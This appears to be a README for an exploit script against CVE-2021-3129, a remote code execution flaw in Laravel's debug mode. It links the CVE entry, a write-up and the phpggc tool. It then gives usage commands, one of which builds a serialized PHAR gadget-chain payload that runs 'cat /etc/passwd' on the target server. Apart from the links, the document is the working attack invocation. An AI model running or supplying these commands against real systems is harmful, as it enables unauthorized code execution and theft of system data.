CVE-2021-3129

Laravel debug mode - Remote Code Execution (RCE)

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3129
• https://www.ambionics.io/blog/laravel-debug-rce
• https://github.com/ambionics/phpggc

Example

python3 exploit.py http://127.0.0.1:8080

python3 exploit.py http://127.0.0.1:8080 --phar $(php -d phar.readonly=off -d phar.require_hash=off ./phpggc --phar phar -f monolog/rce1 system 'cat /etc/passwd' | base64 -w 0)